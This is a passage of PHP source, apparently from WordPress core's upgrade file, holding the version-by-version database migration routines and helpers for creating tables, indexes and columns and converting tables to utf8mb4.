if ( $wp_current_db_version < 8921 ) {
$wpdb->query( "UPDATE $wpdb->posts SET post_date = post_modified WHERE post_date = '0000-00-00 00:00:00'" );
}
}
/**
* Execute changes made in WordPress 2.8.
*
* @ignore
* @since 2.8.0
*
* @global int $wp_current_db_version The old (current) database version.
* @global wpdb $wpdb WordPress database abstraction object.
*/
function upgrade_280() {
global $wp_current_db_version, $wpdb;
if ( $wp_current_db_version < 10360 ) {
populate_roles_280();
}
if ( is_multisite() ) {
$start = 0;
while ( $rows = $wpdb->get_results( "SELECT option_name, option_value FROM $wpdb->options ORDER BY option_id LIMIT $start, 20" ) ) {
foreach ( $rows as $row ) {
$value = maybe_unserialize( $row->option_value );
if ( $value === $row->option_value ) {
$value = stripslashes( $value );
}
if ( $value !== $row->option_value ) {
update_option( $row->option_name, $value );
}
}
$start += 20;
}
clean_blog_cache( get_current_blog_id() );
}
}
/**
* Execute changes made in WordPress 2.9.
*
* @ignore
* @since 2.9.0
*
* @global int $wp_current_db_version The old (current) database version.
*/
function upgrade_290() {
global $wp_current_db_version;
if ( $wp_current_db_version < 11958 ) {
/*
* Previously, setting depth to 1 would redundantly disable threading,
* but now 2 is the minimum depth to avoid confusion.
*/
if ( 1 === (int) get_option( 'thread_comments_depth' ) ) {
update_option( 'thread_comments_depth', 2 );
update_option( 'thread_comments', 0 );
}
}
}
/**
* Execute changes made in WordPress 3.0.
*
* @ignore
* @since 3.0.0
*
* @global int $wp_current_db_version The old (current) database version.
* @global wpdb $wpdb WordPress database abstraction object.
*/
function upgrade_300() {
global $wp_current_db_version, $wpdb;
if ( $wp_current_db_version < 15093 ) {
populate_roles_300();
}
if ( $wp_current_db_version < 14139 && is_multisite() && is_main_site() && ! defined( 'MULTISITE' ) && get_site_option( 'siteurl' ) === false ) {
add_site_option( 'siteurl', '' );
}
// 3.0 screen options key name changes.
if ( wp_should_upgrade_global_tables() ) {
$sql = "DELETE FROM $wpdb->usermeta
WHERE meta_key LIKE %s
OR meta_key LIKE %s
OR meta_key LIKE %s
OR meta_key LIKE %s
OR meta_key LIKE %s
OR meta_key LIKE %s
OR meta_key = 'manageedittagscolumnshidden'
OR meta_key = 'managecategoriescolumnshidden'
OR meta_key = 'manageedit-tagscolumnshidden'
OR meta_key = 'manageeditcolumnshidden'
OR meta_key = 'categories_per_page'
OR meta_key = 'edit_tags_per_page'";
$prefix = $wpdb->esc_like( $wpdb->base_prefix );
$wpdb->query(
$wpdb->prepare(
$sql,
$prefix . '%' . $wpdb->esc_like( 'meta-box-hidden' ) . '%',
$prefix . '%' . $wpdb->esc_like( 'closedpostboxes' ) . '%',
$prefix . '%' . $wpdb->esc_like( 'manage-' ) . '%' . $wpdb->esc_like( '-columns-hidden' ) . '%',
$prefix . '%' . $wpdb->esc_like( 'meta-box-order' ) . '%',
$prefix . '%' . $wpdb->esc_like( 'metaboxorder' ) . '%',
$prefix . '%' . $wpdb->esc_like( 'screen_layout' ) . '%'
)
);
}
}
/**
* Execute changes made in WordPress 3.3.
*
* @ignore
* @since 3.3.0
*
* @global int $wp_current_db_version The old (current) database version.
* @global wpdb $wpdb WordPress database abstraction object.
* @global array $wp_registered_widgets
* @global array $sidebars_widgets
*/
function upgrade_330() {
global $wp_current_db_version, $wpdb, $wp_registered_widgets, $sidebars_widgets;
if ( $wp_current_db_version < 19061 && wp_should_upgrade_global_tables() ) {
$wpdb->query( "DELETE FROM $wpdb->usermeta WHERE meta_key IN ('show_admin_bar_admin', 'plugins_last_view')" );
}
if ( $wp_current_db_version >= 11548 ) {
return;
}
$sidebars_widgets = get_option( 'sidebars_widgets', array() );
$_sidebars_widgets = array();
if ( isset( $sidebars_widgets['wp_inactive_widgets'] ) || empty( $sidebars_widgets ) ) {
$sidebars_widgets['array_version'] = 3;
} elseif ( ! isset( $sidebars_widgets['array_version'] ) ) {
$sidebars_widgets['array_version'] = 1;
}
switch ( $sidebars_widgets['array_version'] ) {
case 1:
foreach ( (array) $sidebars_widgets as $index => $sidebar ) {
if ( is_array( $sidebar ) ) {
foreach ( (array) $sidebar as $i => $name ) {
$id = strtolower( $name );
if ( isset( $wp_registered_widgets[ $id ] ) ) {
$_sidebars_widgets[ $index ][ $i ] = $id;
continue;
}
$id = sanitize_title( $name );
if ( isset( $wp_registered_widgets[ $id ] ) ) {
$_sidebars_widgets[ $index ][ $i ] = $id;
continue;
}
$found = false;
foreach ( $wp_registered_widgets as $widget_id => $widget ) {
if ( strtolower( $widget['name'] ) === strtolower( $name ) ) {
$_sidebars_widgets[ $index ][ $i ] = $widget['id'];
$found = true;
break;
} elseif ( sanitize_title( $widget['name'] ) === sanitize_title( $name ) ) {
$_sidebars_widgets[ $index ][ $i ] = $widget['id'];
$found = true;
break;
}
}
if ( $found ) {
continue;
}
unset( $_sidebars_widgets[ $index ][ $i ] );
}
}
}
$_sidebars_widgets['array_version'] = 2;
$sidebars_widgets = $_sidebars_widgets;
unset( $_sidebars_widgets );
// Intentional fall-through to upgrade to the next version.
case 2:
$sidebars_widgets = retrieve_widgets();
$sidebars_widgets['array_version'] = 3;
update_option( 'sidebars_widgets', $sidebars_widgets );
}
}
/**
* Execute changes made in WordPress 3.4.
*
* @ignore
* @since 3.4.0
*
* @global int $wp_current_db_version The old (current) database version.
* @global wpdb $wpdb WordPress database abstraction object.
*/
function upgrade_340() {
global $wp_current_db_version, $wpdb;
if ( $wp_current_db_version < 19798 ) {
$wpdb->hide_errors();
$wpdb->query( "ALTER TABLE $wpdb->options DROP COLUMN blog_id" );
$wpdb->show_errors();
}
if ( $wp_current_db_version < 19799 ) {
$wpdb->hide_errors();
$wpdb->query( "ALTER TABLE $wpdb->comments DROP INDEX comment_approved" );
$wpdb->show_errors();
}
if ( $wp_current_db_version < 20022 && wp_should_upgrade_global_tables() ) {
$wpdb->query( "DELETE FROM $wpdb->usermeta WHERE meta_key = 'themes_last_view'" );
}
if ( $wp_current_db_version < 20080 ) {
if ( 'yes' === $wpdb->get_var( "SELECT autoload FROM $wpdb->options WHERE option_name = 'uninstall_plugins'" ) ) {
$uninstall_plugins = get_option( 'uninstall_plugins' );
delete_option( 'uninstall_plugins' );
add_option( 'uninstall_plugins', $uninstall_plugins, null, false );
}
}
}
/**
* Execute changes made in WordPress 3.5.
*
* @ignore
* @since 3.5.0
*
* @global int $wp_current_db_version The old (current) database version.
* @global wpdb $wpdb WordPress database abstraction object.
*/
function upgrade_350() {
global $wp_current_db_version, $wpdb;
if ( $wp_current_db_version < 22006 && $wpdb->get_var( "SELECT link_id FROM $wpdb->links LIMIT 1" ) ) {
update_option( 'link_manager_enabled', 1 ); // Previously set to 0 by populate_options().
}
if ( $wp_current_db_version < 21811 && wp_should_upgrade_global_tables() ) {
$meta_keys = array();
foreach ( array_merge( get_post_types(), get_taxonomies() ) as $name ) {
if ( str_contains( $name, '-' ) ) {
$meta_keys[] = 'edit_' . str_replace( '-', '_', $name ) . '_per_page';
}
}
if ( $meta_keys ) {
$meta_keys = implode( "', '", $meta_keys );
$wpdb->query( "DELETE FROM $wpdb->usermeta WHERE meta_key IN ('$meta_keys')" );
}
}
if ( $wp_current_db_version < 22422 ) {
$term = get_term_by( 'slug', 'post-format-standard', 'post_format' );
if ( $term ) {
wp_delete_term( $term->term_id, 'post_format' );
}
}
}
/**
* Execute changes made in WordPress 3.7.
*
* @ignore
* @since 3.7.0
*
* @global int $wp_current_db_version The old (current) database version.
*/
function upgrade_370() {
global $wp_current_db_version;
if ( $wp_current_db_version < 25824 ) {
wp_clear_scheduled_hook( 'wp_auto_updates_maybe_update' );
}
}
/**
* Execute changes made in WordPress 3.7.2.
*
* @ignore
* @since 3.7.2
*
* @global int $wp_current_db_version The old (current) database version.
*/
function upgrade_372() {
global $wp_current_db_version;
if ( $wp_current_db_version < 26148 ) {
wp_clear_scheduled_hook( 'wp_maybe_auto_update' );
}
}
/**
* Execute changes made in WordPress 3.8.0.
*
* @ignore
* @since 3.8.0
*
* @global int $wp_current_db_version The old (current) database version.
*/
function upgrade_380() {
global $wp_current_db_version;
if ( $wp_current_db_version < 26691 ) {
deactivate_plugins( array( 'mp6/mp6.php' ), true );
}
}
/**
* Execute changes made in WordPress 4.0.0.
*
* @ignore
* @since 4.0.0
*
* @global int $wp_current_db_version The old (current) database version.
*/
function upgrade_400() {
global $wp_current_db_version;
if ( $wp_current_db_version < 29630 ) {
if ( ! is_multisite() && false === get_option( 'WPLANG' ) ) {
if ( defined( 'WPLANG' ) && ( '' !== WPLANG ) && in_array( WPLANG, get_available_languages(), true ) ) {
update_option( 'WPLANG', WPLANG );
} else {
update_option( 'WPLANG', '' );
}
}
}
}
/**
* Execute changes made in WordPress 4.2.0.
*
* @ignore
* @since 4.2.0
*/
function upgrade_420() {}
/**
* Executes changes made in WordPress 4.3.0.
*
* @ignore
* @since 4.3.0
*
* @global int $wp_current_db_version The old (current) database version.
* @global wpdb $wpdb WordPress database abstraction object.
*/
function upgrade_430() {
global $wp_current_db_version, $wpdb;
if ( $wp_current_db_version < 32364 ) {
upgrade_430_fix_comments();
}
// Shared terms are split in a separate process.
if ( $wp_current_db_version < 32814 ) {
update_option( 'finished_splitting_shared_terms', 0 );
wp_schedule_single_event( time() + ( 1 * MINUTE_IN_SECONDS ), 'wp_split_shared_term_batch' );
}
if ( $wp_current_db_version < 33055 && 'utf8mb4' === $wpdb->charset ) {
if ( is_multisite() ) {
$tables = $wpdb->tables( 'blog' );
} else {
$tables = $wpdb->tables( 'all' );
if ( ! wp_should_upgrade_global_tables() ) {
$global_tables = $wpdb->tables( 'global' );
$tables = array_diff_assoc( $tables, $global_tables );
}
}
foreach ( $tables as $table ) {
maybe_convert_table_to_utf8mb4( $table );
}
}
}
/**
* Executes comments changes made in WordPress 4.3.0.
*
* @ignore
* @since 4.3.0
*
* @global wpdb $wpdb WordPress database abstraction object.
*/
function upgrade_430_fix_comments() {
global $wpdb;
$content_length = $wpdb->get_col_length( $wpdb->comments, 'comment_content' );
if ( is_wp_error( $content_length ) ) {
return;
}
if ( false === $content_length ) {
$content_length = array(
'type' => 'byte',
'length' => 65535,
);
} elseif ( ! is_array( $content_length ) ) {
$length = (int) $content_length > 0 ? (int) $content_length : 65535;
$content_length = array(
'type' => 'byte',
'length' => $length,
);
}
if ( 'byte' !== $content_length['type'] || 0 === $content_length['length'] ) {
// Sites with malformed DB schemas are on their own.
return;
}
$allowed_length = (int) $content_length['length'] - 10;
$comments = $wpdb->get_results(
"SELECT `comment_ID` FROM `{$wpdb->comments}`
WHERE `comment_date_gmt` > '2015-04-26'
AND LENGTH( `comment_content` ) >= {$allowed_length}
AND ( `comment_content` LIKE '%<%' OR `comment_content` LIKE '%>%' )"
);
foreach ( $comments as $comment ) {
wp_delete_comment( $comment->comment_ID, true );
}
}
/**
* Executes changes made in WordPress 4.3.1.
*
* @ignore
* @since 4.3.1
*/
function upgrade_431() {
// Fix incorrect cron entries for term splitting.
$cron_array = _get_cron_array();
if ( isset( $cron_array['wp_batch_split_terms'] ) ) {
unset( $cron_array['wp_batch_split_terms'] );
_set_cron_array( $cron_array );
}
}
/**
* Executes changes made in WordPress 4.4.0.
*
* @ignore
* @since 4.4.0
*
* @global int $wp_current_db_version The old (current) database version.
* @global wpdb $wpdb WordPress database abstraction object.
*/
function upgrade_440() {
global $wp_current_db_version, $wpdb;
if ( $wp_current_db_version < 34030 ) {
$wpdb->query( "ALTER TABLE {$wpdb->options} MODIFY option_name VARCHAR(191)" );
}
// Remove the unused 'add_users' role.
$roles = wp_roles();
foreach ( $roles->role_objects as $role ) {
if ( $role->has_cap( 'add_users' ) ) {
$role->remove_cap( 'add_users' );
}
}
}
/**
* Executes changes made in WordPress 4.5.0.
*
* @ignore
* @since 4.5.0
*
* @global int $wp_current_db_version The old (current) database version.
* @global wpdb $wpdb WordPress database abstraction object.
*/
function upgrade_450() {
global $wp_current_db_version, $wpdb;
if ( $wp_current_db_version < 36180 ) {
wp_clear_scheduled_hook( 'wp_maybe_auto_update' );
}
// Remove unused email confirmation options, moved to usermeta.
if ( $wp_current_db_version < 36679 && is_multisite() ) {
$wpdb->query( "DELETE FROM $wpdb->options WHERE option_name REGEXP '^[0-9]+_new_email$'" );
}
// Remove unused user setting for wpLink.
delete_user_setting( 'wplink' );
}
/**
* Executes changes made in WordPress 4.6.0.
*
* @ignore
* @since 4.6.0
*
* @global int $wp_current_db_version The old (current) database version.
*/
function upgrade_460() {
global $wp_current_db_version;
// Remove unused post meta.
if ( $wp_current_db_version < 37854 ) {
delete_post_meta_by_key( '_post_restored_from' );
}
// Remove plugins with callback as an array object/method as the uninstall hook, see #13786.
if ( $wp_current_db_version < 37965 ) {
$uninstall_plugins = get_option( 'uninstall_plugins', array() );
if ( ! empty( $uninstall_plugins ) ) {
foreach ( $uninstall_plugins as $basename => $callback ) {
if ( is_array( $callback ) && is_object( $callback[0] ) ) {
unset( $uninstall_plugins[ $basename ] );
}
}
update_option( 'uninstall_plugins', $uninstall_plugins );
}
}
}
/**
* Executes changes made in WordPress 5.0.0.
*
* @ignore
* @since 5.0.0
* @deprecated 5.1.0
*/
function upgrade_500() {
}
/**
* Executes changes made in WordPress 5.1.0.
*
* @ignore
* @since 5.1.0
*/
function upgrade_510() {
delete_site_option( 'upgrade_500_was_gutenberg_active' );
}
/**
* Executes changes made in WordPress 5.3.0.
*
* @ignore
* @since 5.3.0
*/
function upgrade_530() {
/*
* The `admin_email_lifespan` option may have been set by an admin that just logged in,
* saw the verification screen, clicked on a button there, and is now upgrading the db,
* or by populate_options() that is called earlier in upgrade_all().
* In the second case `admin_email_lifespan` should be reset so the verification screen
* is shown next time an admin logs in.
*/
if ( function_exists( 'current_user_can' ) && ! current_user_can( 'manage_options' ) ) {
update_option( 'admin_email_lifespan', 0 );
}
}
/**
* Executes changes made in WordPress 5.5.0.
*
* @ignore
* @since 5.5.0
*
* @global int $wp_current_db_version The old (current) database version.
*/
function upgrade_550() {
global $wp_current_db_version;
if ( $wp_current_db_version < 48121 ) {
$comment_previously_approved = get_option( 'comment_whitelist', '' );
update_option( 'comment_previously_approved', $comment_previously_approved );
delete_option( 'comment_whitelist' );
}
if ( $wp_current_db_version < 48575 ) {
// Use more clear and inclusive language.
$disallowed_list = get_option( 'blacklist_keys' );
/*
* This option key was briefly renamed `blocklist_keys`.
* Account for sites that have this key present when the original key does not exist.
*/
if ( false === $disallowed_list ) {
$disallowed_list = get_option( 'blocklist_keys' );
}
update_option( 'disallowed_keys', $disallowed_list );
delete_option( 'blacklist_keys' );
delete_option( 'blocklist_keys' );
}
if ( $wp_current_db_version < 48748 ) {
update_option( 'finished_updating_comment_type', 0 );
wp_schedule_single_event( time() + ( 1 * MINUTE_IN_SECONDS ), 'wp_update_comment_type_batch' );
}
}
/**
* Executes changes made in WordPress 5.6.0.
*
* @ignore
* @since 5.6.0
*
* @global int $wp_current_db_version The old (current) database version.
* @global wpdb $wpdb WordPress database abstraction object.
*/
function upgrade_560() {
global $wp_current_db_version, $wpdb;
if ( $wp_current_db_version < 49572 ) {
/*
* Clean up the `post_category` column removed from schema in version 2.8.0.
* Its presence may conflict with `WP_Post::__get()`.
*/
$post_category_exists = $wpdb->get_var( "SHOW COLUMNS FROM $wpdb->posts LIKE 'post_category'" );
if ( ! is_null( $post_category_exists ) ) {
$wpdb->query( "ALTER TABLE $wpdb->posts DROP COLUMN `post_category`" );
}
/*
* When upgrading from WP < 5.6.0 set the core major auto-updates option to `unset` by default.
* This overrides the same option from populate_options() that is intended for new installs.
* See https://core.trac.wordpress.org/ticket/51742.
*/
update_option( 'auto_update_core_major', 'unset' );
}
if ( $wp_current_db_version < 49632 ) {
/*
* Regenerate the .htaccess file to add the `HTTP_AUTHORIZATION` rewrite rule.
* See https://core.trac.wordpress.org/ticket/51723.
*/
save_mod_rewrite_rules();
}
if ( $wp_current_db_version < 49735 ) {
delete_transient( 'dirsize_cache' );
}
if ( $wp_current_db_version < 49752 ) {
$results = $wpdb->get_results(
$wpdb->prepare(
"SELECT 1 FROM {$wpdb->usermeta} WHERE meta_key = %s LIMIT 1",
WP_Application_Passwords::USERMETA_KEY_APPLICATION_PASSWORDS
)
);
if ( ! empty( $results ) ) {
$network_id = get_main_network_id();
update_network_option( $network_id, WP_Application_Passwords::OPTION_KEY_IN_USE, 1 );
}
}
}
/**
* Executes changes made in WordPress 5.9.0.
*
* @ignore
* @since 5.9.0
*
* @global int $wp_current_db_version The old (current) database version.
*/
function upgrade_590() {
global $wp_current_db_version;
if ( $wp_current_db_version < 51917 ) {
$crons = _get_cron_array();
if ( $crons && is_array( $crons ) ) {
// Remove errant `false` values, see #53950, #54906.
$crons = array_filter( $crons );
_set_cron_array( $crons );
}
}
}
/**
* Executes changes made in WordPress 6.0.0.
*
* @ignore
* @since 6.0.0
*
* @global int $wp_current_db_version The old (current) database version.
*/
function upgrade_600() {
global $wp_current_db_version;
if ( $wp_current_db_version < 53011 ) {
wp_update_user_counts();
}
}
/**
* Executes changes made in WordPress 6.3.0.
*
* @ignore
* @since 6.3.0
*
* @global int $wp_current_db_version The old (current) database version.
*/
function upgrade_630() {
global $wp_current_db_version;
if ( $wp_current_db_version < 55853 ) {
if ( ! is_multisite() ) {
// Replace non-autoload option can_compress_scripts with autoload option, see #55270
$can_compress_scripts = get_option( 'can_compress_scripts', false );
if ( false !== $can_compress_scripts ) {
delete_option( 'can_compress_scripts' );
add_option( 'can_compress_scripts', $can_compress_scripts, '', true );
}
}
}
}
/**
* Executes changes made in WordPress 6.4.0.
*
* @ignore
* @since 6.4.0
*
* @global int $wp_current_db_version The old (current) database version.
*/
function upgrade_640() {
global $wp_current_db_version;
if ( $wp_current_db_version < 56657 ) {
// Enable attachment pages.
update_option( 'wp_attachment_pages_enabled', 1 );
// Remove the wp_https_detection cron. Https status is checked directly in an async Site Health check.
$scheduled = wp_get_scheduled_event( 'wp_https_detection' );
if ( $scheduled ) {
wp_clear_scheduled_hook( 'wp_https_detection' );
}
}
}
/**
* Executes changes made in WordPress 6.5.0.
*
* @ignore
* @since 6.5.0
*
* @global int $wp_current_db_version The old (current) database version.
* @global wpdb $wpdb WordPress database abstraction object.
*/
function upgrade_650() {
global $wp_current_db_version, $wpdb;
if ( $wp_current_db_version < 57155 ) {
$stylesheet = get_stylesheet();
// Set autoload=no for all themes except the current one.
$theme_mods_options = $wpdb->get_col(
$wpdb->prepare(
"SELECT option_name FROM $wpdb->options WHERE autoload = 'yes' AND option_name != %s AND option_name LIKE %s",
"theme_mods_$stylesheet",
$wpdb->esc_like( 'theme_mods_' ) . '%'
)
);
$autoload = array_fill_keys( $theme_mods_options, false );
wp_set_option_autoload_values( $autoload );
}
}
/**
* Executes changes made in WordPress 6.7.0.
*
* @ignore
* @since 6.7.0
*
* @global int $wp_current_db_version The old (current) database version.
*/
function upgrade_670() {
global $wp_current_db_version;
if ( $wp_current_db_version < 58975 ) {
$options = array(
'recently_activated',
'_wp_suggested_policy_text_has_changed',
'dashboard_widget_options',
'ftp_credentials',
'adminhash',
'nav_menu_options',
'wp_force_deactivated_plugins',
'delete_blog_hash',
'allowedthemes',
'recovery_keys',
'https_detection_errors',
'fresh_site',
);
wp_set_options_autoload( $options, false );
}
}
/**
* Executes network-level upgrade routines.
*
* @since 3.0.0
*
* @global int $wp_current_db_version The old (current) database version.
* @global wpdb $wpdb WordPress database abstraction object.
*/
function upgrade_network() {
global $wp_current_db_version, $wpdb;
// Always clear expired transients.
delete_expired_transients( true );
// 2.8.0
if ( $wp_current_db_version < 11549 ) {
$wpmu_sitewide_plugins = get_site_option( 'wpmu_sitewide_plugins' );
$active_sitewide_plugins = get_site_option( 'active_sitewide_plugins' );
if ( $wpmu_sitewide_plugins ) {
if ( ! $active_sitewide_plugins ) {
$sitewide_plugins = (array) $wpmu_sitewide_plugins;
} else {
$sitewide_plugins = array_merge( (array) $active_sitewide_plugins, (array) $wpmu_sitewide_plugins );
}
update_site_option( 'active_sitewide_plugins', $sitewide_plugins );
}
delete_site_option( 'wpmu_sitewide_plugins' );
delete_site_option( 'deactivated_sitewide_plugins' );
$start = 0;
while ( $rows = $wpdb->get_results( "SELECT meta_key, meta_value FROM {$wpdb->sitemeta} ORDER BY meta_id LIMIT $start, 20" ) ) {
foreach ( $rows as $row ) {
$value = $row->meta_value;
if ( ! @unserialize( $value ) ) {
$value = stripslashes( $value );
}
if ( $value !== $row->meta_value ) {
update_site_option( $row->meta_key, $value );
}
}
$start += 20;
}
}
// 3.0.0
if ( $wp_current_db_version < 13576 ) {
update_site_option( 'global_terms_enabled', '1' );
}
// 3.3.0
if ( $wp_current_db_version < 19390 ) {
update_site_option( 'initial_db_version', $wp_current_db_version );
}
if ( $wp_current_db_version < 19470 ) {
if ( false === get_site_option( 'active_sitewide_plugins' ) ) {
update_site_option( 'active_sitewide_plugins', array() );
}
}
// 3.4.0
if ( $wp_current_db_version < 20148 ) {
// 'allowedthemes' keys things by stylesheet. 'allowed_themes' keyed things by name.
$allowedthemes = get_site_option( 'allowedthemes' );
$allowed_themes = get_site_option( 'allowed_themes' );
if ( false === $allowedthemes && is_array( $allowed_themes ) && $allowed_themes ) {
$converted = array();
$themes = wp_get_themes();
foreach ( $themes as $stylesheet => $theme_data ) {
if ( isset( $allowed_themes[ $theme_data->get( 'Name' ) ] ) ) {
$converted[ $stylesheet ] = true;
}
}
update_site_option( 'allowedthemes', $converted );
delete_site_option( 'allowed_themes' );
}
}
// 3.5.0
if ( $wp_current_db_version < 21823 ) {
update_site_option( 'ms_files_rewriting', '1' );
}
// 3.5.2
if ( $wp_current_db_version < 24448 ) {
$illegal_names = get_site_option( 'illegal_names' );
if ( is_array( $illegal_names ) && count( $illegal_names ) === 1 ) {
$illegal_name = reset( $illegal_names );
$illegal_names = explode( ' ', $illegal_name );
update_site_option( 'illegal_names', $illegal_names );
}
}
// 4.2.0
if ( $wp_current_db_version < 31351 && 'utf8mb4' === $wpdb->charset ) {
if ( wp_should_upgrade_global_tables() ) {
$wpdb->query( "ALTER TABLE $wpdb->usermeta DROP INDEX meta_key, ADD INDEX meta_key(meta_key(191))" );
$wpdb->query( "ALTER TABLE $wpdb->site DROP INDEX domain, ADD INDEX domain(domain(140),path(51))" );
$wpdb->query( "ALTER TABLE $wpdb->sitemeta DROP INDEX meta_key, ADD INDEX meta_key(meta_key(191))" );
$wpdb->query( "ALTER TABLE $wpdb->signups DROP INDEX domain_path, ADD INDEX domain_path(domain(140),path(51))" );
$tables = $wpdb->tables( 'global' );
// sitecategories may not exist.
if ( ! $wpdb->get_var( "SHOW TABLES LIKE '{$tables['sitecategories']}'" ) ) {
unset( $tables['sitecategories'] );
}
foreach ( $tables as $table ) {
maybe_convert_table_to_utf8mb4( $table );
}
}
}
// 4.3.0
if ( $wp_current_db_version < 33055 && 'utf8mb4' === $wpdb->charset ) {
if ( wp_should_upgrade_global_tables() ) {
$upgrade = false;
$indexes = $wpdb->get_results( "SHOW INDEXES FROM $wpdb->signups" );
foreach ( $indexes as $index ) {
if ( 'domain_path' === $index->Key_name && 'domain' === $index->Column_name && '140' !== $index->Sub_part ) {
$upgrade = true;
break;
}
}
if ( $upgrade ) {
$wpdb->query( "ALTER TABLE $wpdb->signups DROP INDEX domain_path, ADD INDEX domain_path(domain(140),path(51))" );
}
$tables = $wpdb->tables( 'global' );
// sitecategories may not exist.
if ( ! $wpdb->get_var( "SHOW TABLES LIKE '{$tables['sitecategories']}'" ) ) {
unset( $tables['sitecategories'] );
}
foreach ( $tables as $table ) {
maybe_convert_table_to_utf8mb4( $table );
}
}
}
// 5.1.0
if ( $wp_current_db_version < 44467 ) {
$network_id = get_main_network_id();
delete_network_option( $network_id, 'site_meta_supported' );
is_site_meta_supported();
}
}
//
// General functions we use to actually do stuff.
//
/**
* Creates a table in the database, if it doesn't already exist.
*
* This method checks for an existing database table and creates a new one if it's not
* already present. It doesn't rely on MySQL's "IF NOT EXISTS" statement, but chooses
* to query all tables first and then run the SQL statement creating the table.
*
* @since 1.0.0
*
* @global wpdb $wpdb WordPress database abstraction object.
*
* @param string $table_name Database table name.
* @param string $create_ddl SQL statement to create table.
* @return bool True on success or if the table already exists. False on failure.
*/
function maybe_create_table( $table_name, $create_ddl ) {
global $wpdb;
$query = $wpdb->prepare( 'SHOW TABLES LIKE %s', $wpdb->esc_like( $table_name ) );
if ( $wpdb->get_var( $query ) === $table_name ) {
return true;
}
// Didn't find it, so try to create it.
$wpdb->query( $create_ddl );
// We cannot directly tell that whether this succeeded!
if ( $wpdb->get_var( $query ) === $table_name ) {
return true;
}
return false;
}
/**
* Drops a specified index from a table.
*
* @since 1.0.1
*
* @global wpdb $wpdb WordPress database abstraction object.
*
* @param string $table Database table name.
* @param string $index Index name to drop.
* @return true True, when finished.
*/
function drop_index( $table, $index ) {
global $wpdb;
$wpdb->hide_errors();
$wpdb->query( "ALTER TABLE `$table` DROP INDEX `$index`" );
// Now we need to take out all the extra ones we may have created.
for ( $i = 0; $i < 25; $i++ ) {
$wpdb->query( "ALTER TABLE `$table` DROP INDEX `{$index}_$i`" );
}
$wpdb->show_errors();
return true;
}
/**
* Adds an index to a specified table.
*
* @since 1.0.1
*
* @global wpdb $wpdb WordPress database abstraction object.
*
* @param string $table Database table name.
* @param string $index Database table index column.
* @return true True, when done with execution.
*/
function add_clean_index( $table, $index ) {
global $wpdb;
drop_index( $table, $index );
$wpdb->query( "ALTER TABLE `$table` ADD INDEX ( `$index` )" );
return true;
}
/**
* Adds column to a database table, if it doesn't already exist.
*
* @since 1.3.0
*
* @global wpdb $wpdb WordPress database abstraction object.
*
* @param string $table_name Database table name.
* @param string $column_name Table column name.
* @param string $create_ddl SQL statement to add column.
* @return bool True on success or if the column already exists. False on failure.
*/
function maybe_add_column( $table_name, $column_name, $create_ddl ) {
global $wpdb;
foreach ( $wpdb->get_col( "DESC $table_name", 0 ) as $column ) {
if ( $column === $column_name ) {
return true;
}
}
// Didn't find it, so try to create it.
$wpdb->query( $create_ddl );
// We cannot directly tell that whether this succeeded!
foreach ( $wpdb->get_col( "DESC $table_name", 0 ) as $column ) {
if ( $column === $column_name ) {
return true;
}
}
return false;
}
/**
* If a table only contains utf8 or utf8mb4 columns, convert it to utf8mb4.
*
* @since 4.2.0
*
* @global wpdb $wpdb WordPress database abstraction object.
*
* @param string $table The table to convert.
* @return bool True if the table was converted, false if it wasn't.
*/
function maybe_convert_table_to_utf8mb4( $table ) {
global $wpdb;
$results = $wpdb->get_results( "SHOW FULL COLUMNS FROM `$table`" );
if ( ! $results ) {
return false;
}
foreach ( $results as $column ) {
if ( $column->Collation ) {
list( $charset ) = explode( '_', $column->Collation );
$charset = strtolower( $charset );
if ( 'utf8' !== $charset && 'utf8mb4' !== $charset ) {
// Don't upgrade tables that have non-utf8 columns.
return false;
}
}
}
$table_details = $wpdb->get_row( "SHOW TABLE STATUS LIKE '$table'" );
if ( ! $table_details ) {
return false;
}
list( $table_charset ) = explode( '_', $table_details->Collation );
$table_charset = strtolower( $table_charset );
if ( 'utf8mb4' === $table_charset ) {
return true;
}
return $wpdb->query( "ALTER TABLE $table CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci" );
}
/**
* Retrieve all options as it was for 1.2.
*
* @since 1.2.0
*
* @global wpdb $wpdb WordPress database abstraction object.
*
* @return stdClass List of options.
*/
function get_alloptions_110() {
global $wpdb;
$all_options = new stdClass();
$options = $wpdb->get_results( "SELECT option_name, option_value FROM $wpdb->options" );
if ( $options ) {
foreach ( $options as $option ) {
if ( 'siteurl' === $option->option_name || 'home' === $option->option_name || 'category_base' === $option->option_name ) {
$option->option_value = untrailingslashit( $option->option_value );
}
$all_options->{$option->option_name} = stripslashes( $option->option_value );
}
}
return $all_options;
}
/**
* Utility version of get_option that is private to installation/upgrade.
*
* @ignore
* @since 1.5.1
* @access private
*
* @global wpdb $wpdb WordPress database abstraction object.
*
* @param string $setting Option name.
* @return mixed
*/
function __get_option( $setting ) { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.FunctionDoubleUnderscore,PHPCompatibility.FunctionNameRestrictions.ReservedFunctionNames.FunctionDoubleUnderscore
global $wpdb;
if ( 'home' === $setting && defined( 'WP_HOME' ) ) {
return untrailingslashit( WP_HOME );
}
if ( 'siteurl' === $setting && defined( 'WP_SITEURL' ) ) {
return untrailingslashit( WP_SITEURL );
}
$option = $wpdb->get_var( $wpdb->prepare( "SELECT option_value FROM $wpdb->options WHERE option_name = %s", $setting ) );
if ( 'home' === $setting && ! $option ) {
return __get_option( 'siteurl' );
}
if ( in_array( $setting, array( 'siteurl', 'home', 'category_base', 'tag_base' ), true ) ) {
$option = untrailingslashit( $option );
}
return maybe_unserialize( $option );
}
/**
* Filters for content to remove unnecessary slashes.
*
* @since 1.5.0
*
* @param string $content The content to modify.
* @return string The de-slashed content.
*/
function deslash( $content ) {
// Note: \\\ inside a regex denotes a single backslash.
/*
* Replace one or more backslashes followed by a single quote with
* a single quote.
*/
$content = preg_replace( "/\\\+'/", "'", $content );
/*
* Replace one or more backslashes followed by a double quote with
* a double quote.
*/
$content = preg_replace( '/\\\+"/', '"', $content );
// Replace one or more backslashes with one backslash.
$content = preg_replace( '/\\\+/', '\\', $content );
return $content;
}
/**
* Modifies the database based on specified SQL statements.
*
* Useful for creating new tables and updating existing tables to a new structure.
*
* @since 1.5.0
* @since 6.1.0 Ignores display width for integer data types on MySQL 8.0.17 or later,
* to match MySQL behavior. Note: This does not affect MariaDB.
*
* @global wpdb $wpdb WordPress database abstraction object.
*
* @param string[]|string $queries Optional. The query to run. Can be multiple queries
* in an array, or a string of queries separated by
* semicolons. Default empty string.
* @param bool $execute Optional. Whether or not to execute the query right away.
* Default true.
* @return array Strings containing the results of the various update queries.
*/
